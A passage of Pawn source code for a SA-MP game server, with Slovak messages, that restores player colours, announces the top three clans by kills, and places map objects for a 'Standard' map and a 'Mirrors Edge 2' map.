        else if(GetPlayerColor(playerid) == COLOR_YELLOWGREEN_UNVISIBLE) SetPlayerColor(playerid, COLOR_YELLOWGREEN);
        else if(GetPlayerColor(playerid) == COLOR_PURPLE_UNVISIBLE) SetPlayerColor(playerid, COLOR_PURPLE);
        else if(GetPlayerColor(playerid) == COLOR_BROWN_UNVISIBLE) SetPlayerColor(playerid, COLOR_BROWN);
        else if(GetPlayerColor(playerid) == COLOR_PINK_DARK_UNVISIBLE) SetPlayerColor(playerid, COLOR_PINK_DARK);
        else if(GetPlayerColor(playerid) == COLOR_KHAKI_UNVISIBLE) SetPlayerColor(playerid, COLOR_KHAKI);
        else if(GetPlayerColor(playerid) == COLOR_REDORANGE_UNVISIBLE) SetPlayerColor(playerid, COLOR_REDORANGE);
        else if(GetPlayerColor(playerid) == COLOR_BLACKGREEN_UNVISIBLE) SetPlayerColor(playerid, COLOR_BLACKGREEN);
        else if(GetPlayerColor(playerid) == COLOR_YELLOW_LIGHT_UNVISIBLE) SetPlayerColor(playerid, COLOR_YELLOW_LIGHT);
    }
    return 1;
}

forward SendMessageAboutBestClans();
public SendMessageAboutBestClans()
{
    new clans = 0;
    new clan[3];
    new ckills[3];

    for(new c=0; c<MAX_CLANS; c++)
    {
        if(Clan[c][State] == 1)
        {
            if(Clan[c][Kills] > 0)
            {
                clans++;

                if(Clan[c][Kills] > ckills[0])
                {
                    ckills[1] = ckills[0];
                    clan[1] = clan[0];

                    ckills[0] = Clan[c][Kills];
                    clan[0] = c;
                }
                else if(Clan[c][Kills] > ckills[1])
                {
                    ckills[2] = ckills[1];
                    clan[2] = clan[1];

                    ckills[1] = Clan[c][Kills];
                    clan[1] = c;
                }
                else if(Clan[c][Kills] > ckills[2])
                {
                    ckills[2] = Clan[c][Kills];
                    clan[2] = c;
                }
            }
        }
    }

    if(clans > 0)
    {
        SendClientMessageToAll(0xFF0000FF, "Nejlepšie clany na serveri:");

        new message[3][128];
        new cway_n[64];

        if(clans == 1)
        {
            format(cway_n,64, "SL/Server/Clans/Clan%d.cfg", clan[0]);

            format(message[0],128, "1.) %s - %d kills", dini_Get(cway_n, "Name"), ckills[0]);
            SendClientMessageToAll(0xFF0000FF, message[0]);
        }

        else if(clans == 2)
        {
            format(cway_n,64, "SL/Server/Clans/Clan%d.cfg", clan[0]);

            format(message[0],128, "1.) %s - %d kills", dini_Get(cway_n, "Name"), ckills[0]);
            SendClientMessageToAll(0xFF0000FF, message[0]);

            ////////////////////////////////////////

            format(cway_n,64, "SL/Server/Clans/Clan%d.cfg", clan[1]);

            format(message[1],128, "2.) %s - %d kills", dini_Get(cway_n, "Name"), ckills[1]);
            SendClientMessageToAll(0xFF0000FF, message[1]);
        }

        else if(clans >= 3)
        {
            format(cway_n,64, "SL/Server/Clans/Clan%d.cfg", clan[0]);

            format(message[0],128, "1.) %s - %d kills", dini_Get(cway_n, "Name"), ckills[0]);
            SendClientMessageToAll(0xFF0000FF, message[0]);

            ////////////////////////////////////////

            format(cway_n,64, "SL/Server/Clans/Clan%d.cfg", clan[1]);

            format(message[1],128, "2.) %s - %d kills", dini_Get(cway_n, "Name"), ckills[1]);
            SendClientMessageToAll(0xFF0000FF, message[1]);

            ////////////////////////////////////////

            format(cway_n,64, "SL/Server/Clans/Clan%d.cfg", clan[2]);

            format(message[2],128, "3.) %s - %d kills", dini_Get(cway_n, "Name"), ckills[2]);
            SendClientMessageToAll(0xFF0000FF, message[2]);
        }
    }
    return 1;
}

forward DestroyPlayerObjects(playerid, from, to);
public DestroyPlayerObjects(playerid, from, to)
{
    for(new po = from; po <= to; po++)
    {
        DestroyPlayerObject(playerid, PlayerObject[playerid][po]);
    }
    return 1;
}

forward CreatePlayerObjects(playerid, from, to);
public CreatePlayerObjects(playerid, from, to)
{
    // Standard
    if(from<=0 && to>=0) PlayerObject[playerid][0] = CreatePlayerObject(playerid, 3115,2000.16308594,-2306.07812500,13.43571186,0.00000000,0.00000000,179.99450684);
    if(from<=1 && to>=1) PlayerObject[playerid][1] = CreatePlayerObject(playerid, 3115,2000.20898438,-2324.60742188,13.43571186,0.00000000,0.00000000,179.99450684);
    if(from<=2 && to>=2) PlayerObject[playerid][2] = CreatePlayerObject(playerid, 7906,2004.83227539,-2323.89794922,17.08853531,0.00000000,0.00000000,270.00000000);
    if(from<=3 && to>=3) PlayerObject[playerid][3] = CreatePlayerObject(playerid, 7910,2004.83203125,-2307.03906250,17.08864784,0.00000000,0.00000000,270.00000000);
    if(from<=4 && to>=4) PlayerObject[playerid][4] = CreatePlayerObject(playerid, 2693,2004.69604492,-2333.07421875,14.46841621,0.00000000,0.00000000,308.00000000);
    if(from<=5 && to>=5) PlayerObject[playerid][5] = CreatePlayerObject(playerid, 2692,2004.68469238,-2297.79077148,14.51635075,0.00000000,0.00000000,226.00000000);
    if(from<=6 && to>=6) PlayerObject[playerid][6] = CreatePlayerObject(playerid, 1259,2003.60546875,-2305.35644531,21.33600998,0.00000000,0.00000000,0.00000000);
    if(from<=7 && to>=7) PlayerObject[playerid][7] = CreatePlayerObject(playerid, 7912,2003.95214844,-2306.90625000,27.91956711,0.00000000,0.00000000,270.00000000);
    if(from<=8 && to>=8) PlayerObject[playerid][8] = CreatePlayerObject(playerid, 2232,1990.52905273,-2333.29687500,14.32252407,0.00000000,0.00000000,304.00000000);
    if(from<=9 && to>=9) PlayerObject[playerid][9] = CreatePlayerObject(playerid, 2232,1990.43762207,-2297.41674805,14.36942959,0.00000000,0.00000000,226.00000000);
    if(from<=10 && to>=10) PlayerObject[playerid][10] = CreatePlayerObject(playerid, 2232,2002.94079590,-2315.02832031,24.61357307,0.00000000,0.00000000,296.00000000);
    if(from<=11 && to>=11) PlayerObject[playerid][11] = CreatePlayerObject(playerid, 2232,2002.86889648,-2307.39843750,24.61357307,0.00000000,0.00000000,268.00000000);
    if(from<=12 && to>=12) PlayerObject[playerid][12] = CreatePlayerObject(playerid, 2229,1994.68750000,-2314.17602539,13.73491573,0.00000000,0.00000000,272.00000000);
    if(from<=13 && to>=13) PlayerObject[playerid][13] = CreatePlayerObject(playerid, 2229,1994.68090820,-2316.50341797,13.77005768,0.00000000,0.00000000,270.00000000);
    if(from<=14 && to>=14) PlayerObject[playerid][14] = CreatePlayerObject(playerid, 2169,1994.70312500,-2315.56250000,13.77258301,0.00000000,0.00000000,90.00000000);
    if(from<=15 && to>=15) PlayerObject[playerid][15] = CreatePlayerObject(playerid, 1787,1994.62902832,-2314.46777344,14.63485336,0.00000000,0.00000000,64.00000000);
    if(from<=16 && to>=16) PlayerObject[playerid][16] = CreatePlayerObject(playerid, 1782,1994.73156738,-2315.53686523,14.64767838,0.00000000,0.00000000,98.00000000);
    if(from<=17 && to>=17) PlayerObject[playerid][17] = CreatePlayerObject(playerid, 2231,1999.91577148,-2304.31591797,12.54687500,0.00000000,0.00000000,0.00000000);
    if(from<=18 && to>=18) PlayerObject[playerid][18] = CreatePlayerObject(playerid, 2232,1994.75781250,-2313.21044922,14.33296299,0.00000000,0.00000000,232.00000000);
    if(from<=19 && to>=19) PlayerObject[playerid][19] = CreatePlayerObject(playerid, 2232,1994.67126465,-2316.90722656,14.36684895,0.00000000,0.00000000,296.00000000);
    if(from<=20 && to>=20) PlayerObject[playerid][20] = CreatePlayerObject(playerid, 2780,2004.83227539,-2294.98974609,12.73378468,0.00000000,0.00000000,0.00000000);
    if(from<=21 && to>=21) PlayerObject[playerid][21] = CreatePlayerObject(playerid, 2780,2004.83227539,-2335.55859375,12.84362125,0.00000000,0.00000000,0.00000000);
    if(from<=22 && to>=22) PlayerObject[playerid][22] = CreatePlayerObject(playerid, 14537,1978.25573730,-2292.98510742,14.49323654,0.00000000,0.00000000,334.00000000);
    if(from<=23 && to>=23) PlayerObject[playerid][23] = CreatePlayerObject(playerid, 14809,1983.13769531,-2334.45629883,13.96331787,0.00000000,0.00000000,24.00000000);
    if(from<=24 && to>=24) PlayerObject[playerid][24] = CreatePlayerObject(playerid, 2350,1971.73559570,-2296.12597656,12.91902637,0.00000000,0.00000000,0.00000000);
    if(from<=25 && to>=25) PlayerObject[playerid][25] = CreatePlayerObject(playerid, 2350,1973.51184082,-2297.03662109,12.91902637,0.00000000,0.00000000,0.00000000);
    if(from<=26 && to>=26) PlayerObject[playerid][26] = CreatePlayerObject(playerid, 2350,1971.87707520,-2293.21679688,12.91902637,0.00000000,0.00000000,0.00000000);
    if(from<=27 && to>=27) PlayerObject[playerid][27] = CreatePlayerObject(playerid, 2350,1977.63647461,-2286.45263672,12.91902637,0.00000000,0.00000000,0.00000000);
    if(from<=28 && to>=28) PlayerObject[playerid][28] = CreatePlayerObject(playerid, 2350,1984.77770996,-2293.29541016,12.91902637,0.00000000,0.00000000,0.00000000);
    if(from<=29 && to>=29) PlayerObject[playerid][29] = CreatePlayerObject(playerid, 2350,1985.28674316,-2291.73876953,12.91902637,0.00000000,0.00000000,0.00000000);
    if(from<=30 && to>=30) PlayerObject[playerid][30] = CreatePlayerObject(playerid, 2350,1995.97009277,-2313.44384766,14.11019897,0.00000000,0.00000000,0.00000000);
    if(from<=31 && to>=31) PlayerObject[playerid][31] = CreatePlayerObject(playerid, 2350,1996.90673828,-2313.52807617,14.11248684,0.00000000,0.00000000,0.00000000);
    if(from<=32 && to>=32) PlayerObject[playerid][32] = CreatePlayerObject(playerid, 1509,1974.49963379,-2296.06323242,13.86054039,0.00000000,0.00000000,0.00000000);
    if(from<=33 && to>=33) PlayerObject[playerid][33] = CreatePlayerObject(playerid, 1544,1972.50549316,-2295.26635742,13.66308594,0.00000000,0.00000000,0.00000000);
    if(from<=34 && to>=34) PlayerObject[playerid][34] = CreatePlayerObject(playerid, 1667,1973.61022949,-2295.53979492,13.75166512,0.00000000,0.00000000,0.00000000);
    if(from<=35 && to>=35) PlayerObject[playerid][35] = CreatePlayerObject(playerid, 1543,1972.86804199,-2293.95092773,13.66308594,0.00000000,0.00000000,0.00000000);
    if(from<=36 && to>=36) PlayerObject[playerid][36] = CreatePlayerObject(playerid, 1509,1983.34570312,-2292.80102539,13.86054039,0.00000000,0.00000000,0.00000000);
    if(from<=37 && to>=37) PlayerObject[playerid][37] = CreatePlayerObject(playerid, 1455,1984.06652832,-2291.05102539,13.73477459,0.00000000,0.00000000,0.00000000);
    if(from<=38 && to>=38) PlayerObject[playerid][38] = CreatePlayerObject(playerid, 1665,1984.02880859,-2291.41284180,13.67353916,0.00000000,0.00000000,0.00000000);
    if(from<=39 && to>=39) PlayerObject[playerid][39] = CreatePlayerObject(playerid, 1665,1976.85083008,-2287.41625977,13.67353916,0.00000000,0.00000000,0.00000000);
    if(from<=40 && to>=40) PlayerObject[playerid][40] = CreatePlayerObject(playerid, 1664,1977.21459961,-2287.51171875,13.82979012,0.00000000,0.00000000,0.00000000);
    if(from<=41 && to>=41) PlayerObject[playerid][41] = CreatePlayerObject(playerid, 1337,1989.93969727,-2333.69921875,13.97386265,0.00000000,0.00000000,0.00000000);
    if(from<=42 && to>=42) PlayerObject[playerid][42] = CreatePlayerObject(playerid, 1337,1989.83740234,-2296.94165039,14.02282715,0.00000000,0.00000000,0.00000000);
    if(from<=43 && to>=43) PlayerObject[playerid][43] = CreatePlayerObject(playerid, 1337,2004.61279297,-2324.28344727,20.66747284,0.00000000,0.00000000,0.00000000);
    if(from<=44 && to>=44) PlayerObject[playerid][44] = CreatePlayerObject(playerid, 1337,2001.91418457,-2304.30493164,14.00305176,0.00000000,0.00000000,0.00000000);
    if(from<=45 && to>=45) PlayerObject[playerid][45] = CreatePlayerObject(playerid, 1337,1991.60510254,-2318.90087891,14.01361465,0.00000000,0.00000000,0.00000000);
    if(from<=46 && to>=46) PlayerObject[playerid][46] = CreatePlayerObject(playerid, 1337,2004.59704590,-2296.53686523,27.55677795,0.00000000,0.00000000,0.00000000);
    if(from<=47 && to>=47) PlayerObject[playerid][47] = CreatePlayerObject(playerid, 18102,2004.65222168,-2322.32153320,18.90000000,45.00000000,0.00000000,90.00000000);
    if(from<=48 && to>=48) PlayerObject[playerid][48] = CreatePlayerObject(playerid, 18102,2005.33984375,-2299.14599609,18.90000000,44.99450684,0.00000000,90.00000000);
    if(from<=49 && to>=49) PlayerObject[playerid][49] = CreatePlayerObject(playerid, 1337,2004.83593750,-2314.54394531,22.83190346,0.00000000,0.00000000,0.00000000);
    if(from<=50 && to>=50) PlayerObject[playerid][50] = CreatePlayerObject(playerid, 3052,-1630.40209961,-2242.60009766,30.60286331,0.00000000,0.00000000,30.00000000);
    if(from<=51 && to>=51) PlayerObject[playerid][51] = CreatePlayerObject(playerid, 3052,-1631.21484375,-2244.73632812,30.60286331,0.00000000,0.00000000,79.99694824);
    if(from<=52 && to>=52) PlayerObject[playerid][52] = CreatePlayerObject(playerid, 3052,-1632.51330566,-2245.96728516,30.60286331,0.00000000,0.00000000,0.00000000);
    if(from<=53 && to>=53) PlayerObject[playerid][53] = CreatePlayerObject(playerid, 3052,-1632.54785156,-2245.80639648,30.88717461,0.00000000,0.00000000,0.00000000);
    if(from<=54 && to>=54) PlayerObject[playerid][54] = CreatePlayerObject(playerid, 3052,-1629.43066406,-2242.88085938,30.60286331,0.00000000,0.00000000,329.99633789);
    if(from<=55 && to>=55) PlayerObject[playerid][55] = CreatePlayerObject(playerid, 1225,-1636.29638672,-2243.65917969,30.88231659,0.00000000,90.00000000,300.00000000);
    if(from<=56 && to>=56) PlayerObject[playerid][56] = CreatePlayerObject(playerid, 1225,-1631.45117188,-2246.72167969,30.88231659,0.00000000,0.00000000,0.00000000);
    if(from<=57 && to>=57) PlayerObject[playerid][57] = CreatePlayerObject(playerid, 3013,-1629.57263184,-2242.67602539,30.90814972,0.00000000,0.00000000,14.00000000);
    if(from<=58 && to>=58) PlayerObject[playerid][58] = CreatePlayerObject(playerid, 3013,-1628.77246094,-2242.50488281,30.62383842,0.00000000,0.00000000,0.00000000);
    if(from<=59 && to>=59) PlayerObject[playerid][59] = CreatePlayerObject(playerid, 3013,-1633.83898926,-2247.18115234,30.62383842,0.00000000,0.00000000,0.00000000);
    if(from<=60 && to>=60) PlayerObject[playerid][60] = CreatePlayerObject(playerid, 2969,-1629.86901855,-2238.11010742,30.60286331,0.00000000,0.00000000,0.00000000);
    if(from<=61 && to>=61) PlayerObject[playerid][61] = CreatePlayerObject(playerid, 1337,-1629.48242188,-2242.02050781,30.50000000,90.00000000,0.00000000,0.00000000);
    if(from<=62 && to>=62) PlayerObject[playerid][62] = CreatePlayerObject(playerid, 1337,-1634.97595215,-2246.55639648,30.60000038,90.00000000,0.00000000,185.00000000);
    if(from<=63 && to>=63) PlayerObject[playerid][63] = CreatePlayerObject(playerid, 1337,-1634.92968750,-2245.55664062,30.60000038,90.00000000,0.00000000,54.99877930);
    if(from<=64 && to>=64) PlayerObject[playerid][64] = CreatePlayerObject(playerid, 1337,-1629.98535156,-2243.51953125,30.50000000,90.00000000,0.00000000,60.00000000);
    if(from<=65 && to>=65) PlayerObject[playerid][65] = CreatePlayerObject(playerid, 1337,-1630.31164551,-2241.71972656,30.49500084,80.00000000,0.00000000,50.00000000);
    if(from<=66 && to>=66) PlayerObject[playerid][66] = CreatePlayerObject(playerid, 1337,-1629.44934082,-2247.77587891,30.72656250,0.00000000,0.00000000,0.00000000);
    if(from<=67 && to>=67) PlayerObject[playerid][67] = CreatePlayerObject(playerid, 3052,-1629.07385254,-2244.88867188,30.60286331,0.00000000,0.00000000,93.99694824);
    if(from<=68 && to>=68) PlayerObject[playerid][68] = CreatePlayerObject(playerid, 3052,-1628.69226074,-2247.08251953,30.60286331,0.00000000,0.00000000,93.99353027);
    if(from<=69 && to>=69) PlayerObject[playerid][69] = CreatePlayerObject(playerid, 3052,-1629.18127441,-2244.11791992,30.60286331,0.00000000,0.00000000,83.99353027);
    if(from<=70 && to>=70) PlayerObject[playerid][70] = CreatePlayerObject(playerid, 1271,-1630.52563477,-2247.07495117,30.82656288,0.00000000,0.00000000,0.00000000);
    if(from<=71 && to>=71) PlayerObject[playerid][71] = CreatePlayerObject(playerid, 1225,-1632.28930664,-2247.08618164,30.88231659,0.00000000,0.00000000,0.00000000);
    if(from<=72 && to>=72) PlayerObject[playerid][72] = CreatePlayerObject(playerid, 964,-1635.99499512,-2233.38964844,30.47656250,0.00000000,0.00000000,0.00000000);
    if(from<=73 && to>=73) PlayerObject[playerid][73] = CreatePlayerObject(playerid, 964,-1637.33691406,-2233.40332031,30.47656250,0.00000000,0.00000000,0.00000000);
    if(from<=74 && to>=74) PlayerObject[playerid][74] = CreatePlayerObject(playerid, 964,-1635.24389648,-2233.53417969,31.44230080,0.00000000,0.00000000,0.00000000);
    if(from<=75 && to>=75) PlayerObject[playerid][75] = CreatePlayerObject(playerid, 964,-1634.66210938,-2233.37597656,30.47656250,0.00000000,0.00000000,0.00000000);
    if(from<=76 && to>=76) PlayerObject[playerid][76] = CreatePlayerObject(playerid, 964,-1636.33898926,-2246.40820312,30.47656250,0.00000000,0.00000000,170.00000000);
    if(from<=77 && to>=77) PlayerObject[playerid][77] = CreatePlayerObject(playerid, 964,-1629.61230469,-2240.51660156,30.47656250,0.00000000,0.00000000,259.99694824);
    if(from<=78 && to>=78) PlayerObject[playerid][78] = CreatePlayerObject(playerid, 1431,-1639.01647949,-2246.67553711,31.02417564,0.00000000,0.00000000,260.00000000);
    if(from<=79 && to>=79) PlayerObject[playerid][79] = CreatePlayerObject(playerid, 3134,-1629.61242676,-2239.20849609,30.96761703,0.00000000,0.00000000,0.00000000);
    if(from<=80 && to>=80) PlayerObject[playerid][80] = CreatePlayerObject(playerid, 944,-1630.69042969,-2233.26538086,31.36134911,0.00000000,0.00000000,0.00000000);
    if(from<=81 && to>=81) PlayerObject[playerid][81] = CreatePlayerObject(playerid, 3052,-1628.70898438,-2244.06738281,30.60286331,0.00000000,0.00000000,93.99353027);
    if(from<=82 && to>=82) PlayerObject[playerid][82] = CreatePlayerObject(playerid, 3052,-1628.74902344,-2244.06054688,30.88717461,0.00000000,0.00000000,93.99353027);
    if(from<=83 && to>=83) PlayerObject[playerid][83] = CreatePlayerObject(playerid, 2358,-1628.86035156,-2244.05053711,31.16172028,0.00000000,0.00000000,272.00000000);
    if(from<=84 && to>=84) PlayerObject[playerid][84] = CreatePlayerObject(playerid, 2358,-1629.15429688,-2244.83886719,30.87740898,0.00000000,0.00000000,270.00000000);
    if(from<=85 && to>=85) PlayerObject[playerid][85] = CreatePlayerObject(playerid, 2358,-1631.68359375,-2245.78222656,30.59309769,0.00000000,0.00000000,171.99951172);
    if(from<=86 && to>=86) PlayerObject[playerid][86] = CreatePlayerObject(playerid, 2358,-1630.76440430,-2246.26562500,30.59309769,0.00000000,0.00000000,181.99645996);
    if(from<=87 && to>=87) PlayerObject[playerid][87] = CreatePlayerObject(playerid, 1411,-1646.10998535,-2230.22705078,30.43560791,0.00000000,0.00000000,26.00000000);
    if(from<=88 && to>=88) PlayerObject[playerid][88] = CreatePlayerObject(playerid, 1411,-1641.23730469,-2230.14355469,30.34048462,0.00000000,0.00000000,335.99487305);
    if(from<=89 && to>=89) PlayerObject[playerid][89] = CreatePlayerObject(playerid, 1411,-1648.74218750,-2240.91259766,31.05501747,0.00000000,0.00000000,90.00000000);
    if(from<=90 && to>=90) PlayerObject[playerid][90] = CreatePlayerObject(playerid, 1411,-1648.48242188,-2234.15039062,30.33198738,0.00000000,0.00000000,90.00000000);
    if(from<=91 && to>=91) PlayerObject[playerid][91] = CreatePlayerObject(playerid, 1411,-1648.82214355,-2246.19921875,31.61534500,0.00000000,0.00000000,90.00000000);
    if(from<=92 && to>=92) PlayerObject[playerid][92] = CreatePlayerObject(playerid, 1411,-1646.01672363,-2249.47338867,31.93502998,0.00000000,0.00000000,170.00000000);
    if(from<=93 && to>=93) PlayerObject[playerid][93] = CreatePlayerObject(playerid, 1411,-1640.84362793,-2249.54638672,31.89321136,0.00000000,0.00000000,187.99694824);
    if(from<=94 && to>=94) PlayerObject[playerid][94] = CreatePlayerObject(playerid, 2359,-1633.36352539,-2245.92211914,30.68684769,0.00000000,0.00000000,220.00000000);
    if(from<=95 && to>=95) PlayerObject[playerid][95] = CreatePlayerObject(playerid, 2359,-1645.86242676,-2240.73266602,29.60942268,0.00000000,0.00000000,209.99572754);
    if(from<=96 && to>=96) PlayerObject[playerid][96] = CreatePlayerObject(playerid, 1225,-1642.19250488,-2233.66748047,29.24443054,0.00000000,0.00000000,0.00000000);
    if(from<=97 && to>=97) PlayerObject[playerid][97] = CreatePlayerObject(playerid, 1225,-1647.68457031,-2236.18359375,29.34090042,0.00000000,0.00000000,0.00000000);
    if(from<=98 && to>=98) PlayerObject[playerid][98] = CreatePlayerObject(playerid, 1225,-1642.14965820,-2234.77612305,29.04999924,0.00000000,0.00000000,0.00000000);
    if(from<=99 && to>=99) PlayerObject[playerid][99] = CreatePlayerObject(playerid, 3109,731.99499512,-1336.85961914,13.72679138,0.00000000,0.00000000,180.00000000);
    // Mirrors Edge 2
    if(from<=100 && to>=100) PlayerObject[playerid][100] = CreatePlayerObject(playerid, 1391,-1835.41564941,1004.00085449,77.28823853,0.00000000,0.00000000,0.00000000);
    if(from<=101 && to>=101) PlayerObject[playerid][101] = CreatePlayerObject(playerid, 1388,-1835.36474609,1003.93475342,89.84043884,0.00000000,0.00000000,14.00000000);
    if(from<=102 && to>=102) PlayerObject[playerid][102] = CreatePlayerObject(playerid, 1617,-1843.32873535,1043.36425781,82.30000305,0.00000000,0.00000000,90.00000000);
    if(from<=103 && to>=103) PlayerObject[playerid][103] = CreatePlayerObject(playerid, 1617,-1847.33837891,1043.36450195,82.14986420,0.00000000,0.00000000,90.00000000);
    if(from<=104 && to>=104) PlayerObject[playerid][104] = CreatePlayerObject(playerid, 1267,-1861.66308594,967.17968750,62.50000000,0.00000000,0.00000000,7.99804688);
    if(from<=105 && to>=105) PlayerObject[playerid][105] = CreatePlayerObject(playerid, 4239,-1862.22546387,966.52532959,67.80000305,0.00000000,0.00000000,8.00000000);
    if(from<=106 && to>=106) PlayerObject[playerid][106] = CreatePlayerObject(playerid, 5152,-1865.00915527,988.48809814,70.64700317,0.00000000,18.64654541,271.35339355);
    if(from<=107 && to>=107) PlayerObject[playerid][107] = CreatePlayerObject(playerid, 1219,-1864.60998535,960.40002441,64.75000000,0.00000000,320.00000000,335.00000000);
    if(from<=108 && to>=108) PlayerObject[playerid][108] = CreatePlayerObject(playerid, 1259,-1868.69921875,947.00000000,56.20000076,0.00000000,0.00000000,270.00000000);
    if(from<=109 && to>=109) PlayerObject[playerid][109] = CreatePlayerObject(playerid, 1688,-1868.05822754,966.19879150,49.82747269,0.00000000,0.00000000,2.65466309);
    if(from<=110 && to>=110) PlayerObject[playerid][110] = CreatePlayerObject(playerid, 1688,-1868.05761719,955.19824219,49.82747269,0.00000000,0.00000000,0.75415039);
    if(from<=111 && to>=111) PlayerObject[playerid][111] = CreatePlayerObject(playerid, 1688,-1868.05761719,960.19824219,49.82747269,0.00000000,0.00000000,359.12152100);
    if(from<=112 && to>=112) PlayerObject[playerid][112] = CreatePlayerObject(playerid, 16337,-1857.83801270,997.33630371,70.62572479,0.00000000,0.00000000,90.00000000);
    if(from<=113 && to>=113) PlayerObject[playerid][113] = CreatePlayerObject(playerid, 1617,-1856.71398926,1043.36450195,84.88220978,0.00000000,0.00000000,90.00000000);
    if(from<=114 && to>=114) PlayerObject[playerid][114] = CreatePlayerObject(playerid, 1617,-1848.68359375,1043.36450195,93.18720245,0.00000000,0.00000000,90.00000000);
    if(from<=115 && to>=115) PlayerObject[playerid][115] = CreatePlayerObject(playerid, 1411,-1745.78857422,1050.84997559,88.90612793,0.00000000,0.00000000,90.00000000);
    if(from<=116 && to>=116) PlayerObject[playerid][116] = CreatePlayerObject(playerid, 1411,-1745.78808594,1032.70996094,88.90612793,0.00000000,0.00000000,90.00000000);
    if(from<=117 && to>=117) PlayerObject[playerid][117] = CreatePlayerObject(playerid, 1411,-1745.78808594,1037.70996094,88.90612793,0.00000000,0.00000000,90.00000000);
    if(from<=118 && to>=118) PlayerObject[playerid][118] = CreatePlayerObject(playerid, 1411,-1745.78808594,1046.19921875,88.90612793,0.00000000,0.00000000,90.00000000);
    if(from<=119 && to>=119) PlayerObject[playerid][119] = CreatePlayerObject(playerid, 1596,-1737.63085938,1048.64001465,89.85156250,0.00000000,0.00000000,173.99963379);
    if(from<=120 && to>=120) PlayerObject[playerid][120] = CreatePlayerObject(playerid, 1596,-1729.09533691,1035.08703613,89.85156250,0.00000000,0.00000000,63.99536133);
    if(from<=121 && to>=121) PlayerObject[playerid][121] = CreatePlayerObject(playerid, 1596,-1731.13903809,1045.35913086,89.85156250,0.00000000,0.00000000,193.99530029);
    if(from<=122 && to>=122) PlayerObject[playerid][122] = CreatePlayerObject(playerid, 1684,-1739.54846191,1035.00463867,88.88674927,0.00000000,0.00000000,0.00000000);
    if(from<=123 && to>=123) PlayerObject[playerid][123] = CreatePlayerObject(playerid, 1697,-1759.72753906,1001.96093750,96.39364624,0.00000000,0.00000000,199.99511719);
    if(from<=124 && to>=124) PlayerObject[playerid][124] = CreatePlayerObject(playerid, 1697,-1753.72753906,1001.96093750,96.39364624,0.00000000,0.00000000,199.99511719);
    if(from<=125 && to>=125) PlayerObject[playerid][125] = CreatePlayerObject(playerid, 1697,-1747.72753906,1001.96093750,96.39364624,0.00000000,0.00000000,199.99511719);
    if(from<=126 && to>=126) PlayerObject[playerid][126] = CreatePlayerObject(playerid, 1696,-1928.15686035,946.60717773,45.81972885,0.00000000,0.00000000,180.00000000);
    if(from<=127 && to>=127) PlayerObject[playerid][127] = CreatePlayerObject(playerid, 1696,-1937.91503906,948.32812500,50.89763260,0.00000000,0.00000000,0.00000000);
    if(from<=128 && to>=128) PlayerObject[playerid][128] = CreatePlayerObject(playerid, 1696,-1945.91503906,948.32812500,50.89763260,0.00000000,0.00000000,0.00000000);
    if(from<=129 && to>=129) PlayerObject[playerid][129] = CreatePlayerObject(playerid, 1688,-1914.02392578,990.07275391,54.46028519,0.00000000,0.00000000,270.00000000);
    if(from<=130 && to>=130) PlayerObject[playerid][130] = CreatePlayerObject(playerid, 1688,-1913.97229004,984.10302734,54.46028519,0.00000000,0.00000000,270.00000000);
    if(from<=131 && to>=131) PlayerObject[playerid][131] = CreatePlayerObject(playerid, 1689,-1948.54040527,977.20251465,54.64838028,0.00000000,0.00000000,270.00000000);
    if(from<=132 && to>=132) PlayerObject[playerid][132] = CreatePlayerObject(playerid, 1411,-1924.58496094,951.34002686,46.42175674,0.00000000,0.00000000,0.00000000);
    if(from<=133 && to>=133) PlayerObject[playerid][133] = CreatePlayerObject(playerid, 16337,-1744.95312500,1041.94335938,87.29687500,0.00000000,0.00000000,0.00000000);
    if(from<=134 && to>=134) PlayerObject[playerid][134] = CreatePlayerObject(playerid, 16337,-1861.83789062,997.33593750,70.62572479,0.00000000,0.00000000,90.00000000);
    if(from<=135 && to>=135) PlayerObject[playerid][135] = CreatePlayerObject(playerid, 1696,-1936.50976562,986.10449219,54.44472885,0.00000000,0.00000000,0.00000000);
    if(from<=136 && to>=136) PlayerObject[playerid][136] = CreatePlayerObject(playerid, 1696,-1926.24121094,986.12475586,54.44472885,0.00000000,0.00000000,0.00000000);
    if(from<=137 && to>=137) PlayerObject[playerid][137] = CreatePlayerObject(playerid, 1696,-1946.56896973,986.40197754,54.44472885,0.00000000,0.00000000,0.00000000);
    if(from<=138 && to>=138) PlayerObject[playerid][138] = CreatePlayerObject(playerid, 1357,-1867.10705566,965.17297363,49.07170105,0.00000000,0.00000000,0.00000000);
    if(from<=139 && to>=139) PlayerObject[playerid][139] = CreatePlayerObject(playerid, 1450,-1948.63171387,973.47857666,54.03776550,0.00000000,0.00000000,0.00000000);
    if(from<=140 && to>=140) PlayerObject[playerid][140] = CreatePlayerObject(playerid, 1449,-1948.61572266,978.60449219,53.95915604,0.00000000,0.00000000,0.00000000);
    if(from<=141 && to>=141) PlayerObject[playerid][141] = CreatePlayerObject(playerid, 1623,-1766.19946289,1030.16186523,91.76582336,0.00000000,0.00000000,270.00000000);
    if(from<=142 && to>=142) PlayerObject[playerid][142] = CreatePlayerObject(playerid, 1623,-1763.27636719,1030.14941406,91.79708862,0.00000000,0.00000000,270.00000000);
    if(from<=143 && to>=143) PlayerObject[playerid][143] = CreatePlayerObject(playerid, 8875,-1832.63586426,1010.78222656,50.63160706,0.00000000,0.00000000,296.00000000);
    if(from<=144 && to>=144) PlayerObject[playerid][144] = CreatePlayerObject(playerid, 8875,-1849.52941895,1003.42041016,51.18202972,0.00000000,0.00000000,209.99511719);
    if(from<=145 && to>=145) PlayerObject[playerid][145] = CreatePlayerObject(playerid, 8875,-1833.91882324,1036.30249023,51.18233490,0.00000000,0.00000000,59.99267578);
    if(from<=146 && to>=146) PlayerObject[playerid][146] = CreatePlayerObject(playerid, 16304,-1842.33007812,1024.34472656,49.95161438,0.00000000,0.00000000,0.00000000);
    if(from<=147 && to>=147) PlayerObject[playerid][147] = CreatePlayerObject(playerid, 2649,-1828.09191895,1014.92584229,75.24624634,0.00000000,0.00000000,270.00000000);
    if(from<=148 && to>=148) PlayerObject[playerid][148] = CreatePlayerObject(playerid, 2653,-1816.97497559,1024.10534668,75.03527069,0.00000000,0.00000000,90.00000000);
    if(from<=149 && to>=149) PlayerObject[playerid][149] = CreatePlayerObject(playerid, 2653,-1824.84350586,1024.10449219,75.03527069,0.00000000,0.00000000,90.00000000);
    if(from<=150 && to>=150) PlayerObject[playerid][150] = CreatePlayerObject(playerid, 2649,-1811.42993164,1023.73999023,75.22000122,0.00000000,0.00000000,0.00000000);
